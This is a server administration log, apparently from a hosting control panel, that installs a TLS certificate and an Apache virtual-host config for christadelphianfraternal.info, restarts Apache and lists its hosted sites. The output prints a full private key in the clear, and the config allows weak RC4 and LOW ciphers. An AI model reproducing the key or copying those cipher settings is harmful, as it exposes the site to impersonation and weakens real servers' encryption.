+lOtDhzDdnaDxCOIvuUxtuZf3eX470CreCBNb+CRxQKBgQDe45jpFpe8+DeUCuz3
La45zgVtoTbzBQNihiTbRPZQpJKdRrepo7hnvnszWcrhsK0CjREk1X3fZ+NN/OYn
8YM6gy+lfPmpA1QQSk1+BwW5x4uLthEMpU/QSPnHN++46fvjVaNzFlADWcpik/tl
5L1w/dx7maKdhxV5wZ25l9RtywKBgQDSfp7SF/+EI/N5YlX5nK/II5eYtbrWZ53r
jrUC7hBfYaoCze6ybmVYWhEEL/Uy+JR9cl2WSIoBTFCpFwQCG3IiCqMgBt+Lg8dM
yw8cxEcWVL++rAkh5Zat9vJ+qgdFeIXI6l/nelHMGqG1XM7EC7WBYVcMvaC+Volw
cfY/RcRppwKBgQCuuzwXlreT0/82Fq6YQ/5uoH0O6bB7KXXy2fiw0MpMhAfQNi0r
VwbshZ5trjnnXirzcgV7m8ZWykmezODddW8MAuXqVSQfhFV1g9pmLzkk4DMcbrnE
8R+1yE/QBqDulLf8Cxnc0iQdzFllmF8gDQcaOlmLp/Ccj9adIdT1Nvq4qwKBgGcA
+ysH/0tkZFJz4mqBWCtx708VLtaYYdjRPpaudGiYXB9/Ml0yVHmFqWoJJc3JgrBY
dJ+D47R66cW0s4tsbs9lsSmM83tMAwz7GOwUyEyPMD1X5igmNzPt8gA1p9VBAwas
Wj3lx30/Uv5y6eNZb3pebcCYUr6RjjPuMHgJ5fFlAoGBALRrcS1n1ZDddoybZN2e
2hF5+6jcrNYNLXN4NEpxVrMefVgmUOPXPx+VlTdOInd0TG3HqNDX6LKMkAuFDi42
2VPy1J9UYuD8w4bhnKJGDCaybzlxAQZ3Bl6vOVsy/WSxnSH0Uk5/+iHbzJ1xgrMC
+AgIJ5Zom/ll8mhDvJm1sxx3
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-28 06:00:46:
chmod 755 /tmp/pkp544146; /tmp/pkp544146; rm /tmp/pkp544146
2025-12-28 06:00:46:
dir=/etc/ssl/certs
2025-12-28 06:00:46:
PUT: /tmp/pkp649548
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-28 06:00:46:
chmod 755 /tmp/pkp649548; /tmp/pkp649548; rm /tmp/pkp649548
2025-12-28 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 57
<VirtualHost *:80>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:46:
PUT: /tmp/pkp605506
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphianfraternal_www_info.conf
TARGET=/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf= 1'
fi
2025-12-28 06:00:46:
chmod 755 /tmp/pkp605506; /tmp/pkp605506; rm /tmp/pkp605506
2025-12-28 06:00:46:
2025-12-28 06:00:46:
PUT: /tmp/pkp262053
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-28 06:00:46:
chmod 755 /tmp/pkp262053; /tmp/pkp262053; rm /tmp/pkp262053
2025-12-28 06:00:46:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-28 06:00:46: Establishing a connection
2025-12-28 06:00:46:
PUT: /tmp/pkp433661
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-28 06:00:46:
chmod 755 /tmp/pkp433661; /tmp/pkp433661; rm /tmp/pkp433661
2025-12-28 06:00:46:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-28 06:00:46:
PUT: /tmp/pkp152599
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:46:
chmod 755 /tmp/pkp152599; /tmp/pkp152599; rm /tmp/pkp152599
2025-12-28 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 1555
<VirtualHost *:80>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphianfraternal.info
ServerAlias www.christadelphianfraternal.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
DocumentRoot /var/www/christadelphianfraternal_www
<Directory /var/www/christadelphianfraternal_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphianfraternal/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphianfraternal/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:46:
PUT: /tmp/pkp912068
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:46:
chmod 755 /tmp/pkp912068; /tmp/pkp912068; rm /tmp/pkp912068
2025-12-28 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt 5433
b5:e8:fc:fa:cf:83:18:a1:ed:31:aa:19:53:06:b0:bc
-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBbBMOWZa5SpdgeAhNIVzGD1JMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjE1WhcNMjYwMzI4MDUwMjE0WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBALdE8bvbOc1XuAP1uRgNVfx7t0QjP6t7bDZdYYdOuVFX
3Jg4jcZoSgwt162iF9aLEXy1W1d7q7C/3DiaITZg9u2/3Ri6vu+O+lhIVS5oRmY+
gZu5vaCOP3BueuMrtHiXkGHpM3r5btVN0nKPReJ/Lx+zatx16SggegIYLn2FqgVz
Dz2rUUU+n+etg6C39moTOSd4QdGpXWLj8DD1sLWWToqI099Iuws4vAd/n8fuGxUy
WYmrr3q74D0TAs8YKB31kbW48Sv8GYY6IwDKMPDG958vn8ygl5YTAa4jrU/B7Gkb
REWegBZdvbuLrZLaQeRujgiCuCu3N2a1ZGaaiPMH4m0CAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUnwd2gGRCPZe+yE/jxiiZ/x7I6N8wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzQuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGb
Y4t/fQAABAMARjBEAiBxLWW3FcjtHOAmcYlhit7lqT8wGspkLetN6AmaIpOgLwIg
frJCfyy1XoKmrxquYHob1YOY3S6OQZGmmexTdxuq/rYAdgDRbqmlaAd+ZjWgPzel
3bwDpTxBEhTUiBj16TGzI8uVBAAAAZtji4B9AAAEAwBHMEUCIQCS+y5bwvIOxbR1
6g7ceC0tCJKdphekmN6ckwXZrrPZ5wIgI1TaRT5eZHEUVY2Gr0stPmcz9jvEumgX
txsqa9XCmaEwDQYJKoZIhvcNAQELBQADggEBAJh1Sn8p1NGQrARf8Z4qJIgLZAGD
X8BwCcNrf4n32peLkwD9hPd2VxBrhdvcxoLBJpwZbGmGRM8kwqZLh94XWrevS5Zv
BxUY8+OQxvkWsBuY7iE8FTEiNs85fAwCUlkwMlMB8/bvAbvjp2ZkHlHDjvXfYoj+
hCI0QSY16845CeTAO8ky7VpxohfXnBmhDbVzHQ/VJ/ILsh5Oc4HLR/Q2Xfzm819H
DRDRAasCy1IVFfTVh8PPIHpcq/MILOCKq6Zh3V7Y/RaR2udOd206OxXc1shbmxXy
+G4/iJ1cvRbyXOvCqQaV7NbbAMn9tU9pnXM/IUrxwMC5N+4oTh0sPplwSA8=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3RPG72znNV7gD
9bkYDVX8e7dEIz+re2w2XWGHTrlRV9yYOI3GaEoMLdetohfWixF8tVtXe6uwv9w4
miE2YPbtv90Yur7vjvpYSFUuaEZmPoGbub2gjj9wbnrjK7R4l5Bh6TN6+W7VTdJy
j0Xify8fs2rcdekoIHoCGC59haoFcw89q1FFPp/nrYOgt/ZqEzkneEHRqV1i4/Aw
9bC1lk6KiNPfSLsLOLwHf5/H7hsVMlmJq696u+A9EwLPGCgd9ZG1uPEr/BmGOiMA
yjDwxvefL5/MoJeWEwGuI61PwexpG0RFnoAWXb27i62S2kHkbo4IgrgrtzdmtWRm
mojzB+JtAgMBAAECggEADuWEvJ9KKH270F6Vx/W1iotHzzsKPtcOabDXb5cfixQY
MytNotXxRuInCM8HHwI4zqkzHn5H61r8/IDSuEfTamnQ/+SWBoTZpnliqx4Asujb
whur5TQKxgnE5Vg1GCRBsSOycol5z86+j19D7/AklXAQ/JB8/iz9ndP3W26U7lJT
rbXMelTqaKJXF0Gozl19elwyjnwDg93QrXY5ezFPUjObdhoSnC7sUXTpgTxee0Gd
fRYNSse6upZerr1DTIB20aJs5ALKGE6ZCdTjgnJWadZDdyArw6O/nyLTvmHjTRgI
+lOtDhzDdnaDxCOIvuUxtuZf3eX470CreCBNb+CRxQKBgQDe45jpFpe8+DeUCuz3
La45zgVtoTbzBQNihiTbRPZQpJKdRrepo7hnvnszWcrhsK0CjREk1X3fZ+NN/OYn
8YM6gy+lfPmpA1QQSk1+BwW5x4uLthEMpU/QSPnHN++46fvjVaNzFlADWcpik/tl
5L1w/dx7maKdhxV5wZ25l9RtywKBgQDSfp7SF/+EI/N5YlX5nK/II5eYtbrWZ53r
jrUC7hBfYaoCze6ybmVYWhEEL/Uy+JR9cl2WSIoBTFCpFwQCG3IiCqMgBt+Lg8dM
yw8cxEcWVL++rAkh5Zat9vJ+qgdFeIXI6l/nelHMGqG1XM7EC7WBYVcMvaC+Volw
cfY/RcRppwKBgQCuuzwXlreT0/82Fq6YQ/5uoH0O6bB7KXXy2fiw0MpMhAfQNi0r
VwbshZ5trjnnXirzcgV7m8ZWykmezODddW8MAuXqVSQfhFV1g9pmLzkk4DMcbrnE
8R+1yE/QBqDulLf8Cxnc0iQdzFllmF8gDQcaOlmLp/Ccj9adIdT1Nvq4qwKBgGcA
+ysH/0tkZFJz4mqBWCtx708VLtaYYdjRPpaudGiYXB9/Ml0yVHmFqWoJJc3JgrBY
dJ+D47R66cW0s4tsbs9lsSmM83tMAwz7GOwUyEyPMD1X5igmNzPt8gA1p9VBAwas
Wj3lx30/Uv5y6eNZb3pebcCYUr6RjjPuMHgJ5fFlAoGBALRrcS1n1ZDddoybZN2e
2hF5+6jcrNYNLXN4NEpxVrMefVgmUOPXPx+VlTdOInd0TG3HqNDX6LKMkAuFDi42
2VPy1J9UYuD8w4bhnKJGDCaybzlxAQZ3Bl6vOVsy/WSxnSH0Uk5/+iHbzJ1xgrMC
+AgIJ5Zom/ll8mhDvJm1sxx3
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
